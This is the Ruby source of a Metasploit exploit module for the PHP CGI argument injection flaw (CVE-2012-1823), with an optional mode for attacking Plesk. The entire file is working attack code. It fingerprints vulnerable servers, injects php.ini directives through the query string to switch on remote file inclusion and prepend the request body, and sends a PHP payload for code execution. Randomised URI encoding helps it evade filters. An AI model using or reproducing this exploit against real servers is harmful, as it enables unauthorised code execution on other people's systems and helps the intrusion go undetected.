##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHP CGI Argument Injection',
      'Description'    => %q{
        When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
        an argument injection vulnerability.  This module takes advantage of
        the -d flag to set php.ini directives to achieve code execution.
        From the advisory: "if there is NO unescaped '=' in the query string,
        the string is split on '+' (encoded space) characters, urldecoded,
        passed to a function that escapes shell metacharacters (the "encoded in
        a system-defined manner" from the RFC) and then passes them to the CGI
        binary." This module can also be used to exploit the plesk 0day disclosed
        by kingcope and exploited in the wild on June 2013.
      },
      'Author'         =>
        [
          'egypt', 'hdm',  #original msf exploit
          'jjarmoc',       #added URI encoding obfuscation
          'kingcope',      #plesk poc
          'juan vazquez'   #add support for plesk exploitation
        ],
      'License'        => MSF_LICENSE,
      'References'     => [
          [ 'CVE', '2012-1823' ],
          [ 'OSVDB', '81633'],
          [ 'OSVDB', '93979'],
          [ 'EDB', '25986'],
          [ 'URL', 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
          [ 'URL', 'http://kb.parallels.com/en/116241']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DisclosureDate' => 'May 03 2012',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget' => 0))

    register_options([
      OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
      OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]),
      OptBool.new('PLESK', [true, "Exploit Plesk", false]),
    ])
  end

  # php-cgi -h
  # ...
  #   -s               Display colour syntax highlighted source.
  def check

    vprint_status("Checking uri #{uri}")

    response = send_request_raw({ 'uri' => uri })

    if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi and not datastore['PLESK']
      vprint_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
      return Exploit::CheckCode::Unknown
    end

    response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"})
    if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
      return Exploit::CheckCode::Vulnerable
    end

    if datastore['PLESK'] and response and response.code == 500
      return Exploit::CheckCode::Appears
    end

    vprint_error("Server responded indicating it was not vulnerable")
    return Exploit::CheckCode::Safe
  end

  def uri
    if datastore['PLESK']
      normalize_uri("phppath", "php")
    else
      normalize_uri(target_uri.path).gsub(/\?.*/, "")
    end
  end

  def uri_encoding_level
    if datastore['PLESK']
      return 0
    else
      return datastore['URIENCODING']
    end
  end

  def exploit
    begin
      args = [
        rand_spaces(),
        create_arg("-d","allow_url_include=#{rand_php_ini_true}"),
        create_arg("-d","safe_mode=#{rand_php_ini_false}"),
        create_arg("-d","suhosin.simulation=#{rand_php_ini_true}"),
        create_arg("-d",'disable_functions=""'),
        create_arg("-d","open_basedir=none"),
        create_arg("-d","auto_prepend_file=php://input"),
        create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),
        create_arg("-d", "cgi.redirect_status_env=0"),
        create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"),
        rand_opt_equiv("-n")
      ]

      qs = args.join()

      # Has to be all on one line, so gsub out the comments and the newlines
      payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
      response = send_request_cgi( {
        'method' => "POST",
        'global' => true,
        'uri'    => "#{uri}?#{qs}",
        'data'   => payload_oneline,
      }, 0.5)
      handler

    rescue ::Interrupt
      raise $!
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
      print_error("The target service unreachable")
    rescue ::OpenSSL::SSL::SSLError
      print_error("The target failed to negotiate SSL, is this really an SSL service?")
    end

  end

  def create_arg(arg, val = nil)
    if val
      val = rand_encode(val)
      val.gsub!('=','%3d')   # = must always be encoded
      val.gsub!('"','%22')   # " too
    end

    ret = ''
    ret << "#{rand_spaces}"
    ret << "#{rand_opt_equiv(arg)}"
    ret << "#{rand_space}"
    ret << "#{rand_spaces}"
    ret << "#{val}"
    ret << "#{rand_space}"
  end

  def rand_opt_equiv(opt)
    # Returns a random equivilant option from mapping at
    # http://www.php.net/manual/en/features.commandline.options.php
    opt_equivs = {
      "-d" => [
        "#{rand_dash}#{rand_encode("d")}",
        "#{rand_dash}#{rand_dash}#{rand_encode("define")}"
        ],
      "-s" => [
        "#{rand_dash}#{rand_encode("s")}",
        "#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}",
        "#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}"
        ],
      "-T" => [
        "#{rand_dash}#{rand_encode("T")}",
        "#{rand_dash}#{rand_dash}#{rand_encode("timing")}"
        ],
      "-n" => [
        "#{rand_dash}#{rand_encode("n")}",
        "#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}"
        ]
      }

    equivs = opt_equivs[opt]
    equivs ? equivs[rand(opt_equivs[opt].length)] : opt

  end

  def rand_encode(string, max = string.length)
    # Randomly URI encode characters from string, up to max times.
    chars = [];
    if max > uri_encoding_level then max = uri_encoding_level end
    if string.length == 1
      if rand(2) > 0
        chars << 0
      end
    else
      if max > 0
        max.times { chars << rand(string.length)}
      end
    end
    chars.uniq.sort.reverse.each{|index|  string[index] = Rex::Text.uri_encode(string[index,1], "hex-noslashes")}
    string
  end

  def rand_spaces(num = uri_encoding_level)
    ret = ''
    num.times {
      ret << rand_space
    }
    ret
  end

  def rand_space
    uri_encoding_level > 0 ? ["%20","%09","+"][rand(3)] : "+"
  end

  def rand_dash
    uri_encoding_level > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
  end

  def rand_php_ini_false
    Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
  end

  def rand_php_ini_true
    Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
  end

end
